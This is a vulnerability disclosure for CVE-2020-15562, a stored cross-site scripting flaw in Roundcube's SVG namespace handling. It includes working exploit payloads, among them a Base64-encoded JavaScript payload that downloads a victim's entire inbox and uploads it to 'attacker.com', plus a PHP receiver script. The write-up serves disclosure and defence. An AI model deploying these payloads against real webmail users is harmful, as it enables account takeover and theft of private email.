Andrea Cardaci — 21 July 2020
Discovered | 2019-05-01 |
Author | Andrea Cardaci |
Product | Roundcube |
Tested versions | 1.3.8 |
1.3.9 | |
1.4-git (current master) | |
CVE | CVE-2020-15562 |
The Roundcube webmail application displays HTML messages after a sanitization process that leaves only some nodes and attributes. An input sanitization vulnerability that can be exploited to perform stored cross-site scripting (XSS) attacks has been discovered in how Roundcube handles SVG namespaces.
A remote attacker can send a specially crafted email containing malicious HTML and execute arbitrary JavaScript code in the context of the vulnerable web application when the user displays the message. This allows to impersonate the victims and access the webmail features on their behalf.
Roundcube uses a custom version of Washtml (a HTML sanitizer) to display untrusted HTML in email messages. One of the modifications adds the SVG support1, in particular, an exception has been added in rcube_washtml.php
for the svg
tag to properly handle XML namespaces (dumpHtml
function):
if ($tagName == 'svg') {
$xpath = new DOMXPath($node->ownerDocument);
foreach ($xpath->query('namespace::*') as $ns) {
if ($ns->nodeName != 'xmlns:xml') {
$dump .= ' ' . $ns->nodeName . '="' . $ns->nodeValue . '"';
}
}
}
This snippet uses an XPath query to list and add all the non-default XML namespaces of the root element of the HTML message to the svg
tag as attributes. The vulnerable part here is that $ns->nodeName
and $ns->nodeValue
values are added to $dump
without proper sanitization (e.g., htmlspecialchars
).
There are a number of things to consider in order to manage to successfully inject arbitrary HTML code.
First, if the HTML message lacks the head
tag (or alternatively a meta
specifying the charset, in newer releases) then Roundcube appends a default preamble to the message; this is undesirable as the goal is to control the root element. (Also note that the svg
tag itself cannot be the root element.)
Second, when at least one svg
tag is present (and the <html
string is not) the message is parsed using DOMDocument::loadXML
2 and that requires a valid XML document.
Finally, by taking into account that DOMDocument::loadXML
decodes any HTML entity during the parsing, it is possible to use "
to escape the hard coded double quotes in the above snippet and <
/>
to escape the svg
element altogether.
Since the namespaces are added to the svg
tag, a simple way to exploit this vulnerability is to use the onload
event:
<head xmlns="" onload="alert(document.domain)"><svg></svg></head>
The resulting HTML is:
<svg xmlns="" onload="alert(document.domain)" />
It is likewise possible to escape the svg
tag entirely and inject a script
tag:
<head xmlns=""><script>alert(document.domain)</script>"><svg></svg></head>
The resulting HTML is:
<svg xmlns=""><script>alert(document.domain)</script>" />
Possibly one of the most effective ways to demonstrate the impact of this vulnerability is to exploit the zipdownload
plugin (enabled by default) to fetch the whole inbox3 as a zipped MBOX file then upload it to a web server controlled by the attacker via a POST request:
(async () => {
const uploadEndpoint = 'http://attacker.com:8080/upload.php';
// download the whole inbox as a zip file
const response = await fetch('?_task=mail&_action=plugin.zipdownload.messages', {
method: 'POST',
credentials: 'include',
headers: {
'content-type': 'application/x-www-form-urlencoded'
},
body: `_mbox=INBOX&_uid=*&_mode=mbox&_token=${rcmail.env.request_token}`
});
// prepare the upload form
const formData = new FormData();
const inboxZip = await response.blob();
formData.append('inbox', inboxZip, 'INBOX.mbox.zip');
// send the zip file to the attacker
return fetch(uploadEndpoint, {
method: 'POST',
mode: 'no-cors',
body: formData
});
})();
To avoid using HTML entities for &
it is possible to encode everything with Base64. The final payload becomes:
<head xmlns="" onload="eval(atob('KGFzeW5jKCk9Pntjb25zdCB1cGxvYWRFbmRwb2ludD0iaHR0cDovL2F0dGFja2VyLmNvbTo4MDgwL3VwbG9hZC5waHAiO2NvbnN0IHJlc3BvbnNlPWF3YWl0IGZldGNoKCI/X3Rhc2s9bWFpbCZfYWN0aW9uPXBsdWdpbi56aXBkb3dubG9hZC5tZXNzYWdlcyIse21ldGhvZDoiUE9TVCIsY3JlZGVudGlhbHM6ImluY2x1ZGUiLGhlYWRlcnM6eyJjb250ZW50LXR5cGUiOiJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQifSxib2R5OmBfbWJveD1JTkJPWCZfdWlkPSomX21vZGU9bWJveCZfdG9rZW49JHtyY21haWwuZW52LnJlcXVlc3RfdG9rZW59YH0pO2NvbnN0IGZvcm1EYXRhPW5ldyBGb3JtRGF0YTtjb25zdCBpbmJveFppcD1hd2FpdCByZXNwb25zZS5ibG9iKCk7Zm9ybURhdGEuYXBwZW5kKCJpbmJveCIsaW5ib3haaXAsIklOQk9YLm1ib3guemlwIik7cmV0dXJuIGZldGNoKHVwbG9hZEVuZHBvaW50LHttZXRob2Q6IlBPU1QiLG1vZGU6Im5vLWNvcnMiLGJvZHk6Zm9ybURhdGF9KX0pKCk7Cg=='))"><svg></svg></head>
The POST request can be easily received by the built-in PHP web server, for example create an upload.php
file with:
<?php
$file = $_FILES['inbox'];
move_uploaded_file($file['tmp_name'], $file['name']);
Then start the server with:
$ php -S 0.0.0.0:8080
If the XSS successfully triggers then a INBOX.mbox.zip
file is created in the current directory.
As said before the whole email message must be a valid XML document. If needed, additional content must be placed before the svg
tag which can also be hidden, for example:
<head xmlns="" onload="alert(document.domain)">
Hello victim!
<svg style="display:none"></svg>
</head>
Introduced in commit a1fdb205f824dee7fd42dda739f207abc85ce158. ↩
In the above snippet $node
is an instance of DOMNode
. ↩
The _uid
POST field can also be an array thus allowing to exfiltrate the inbox in chunks. ↩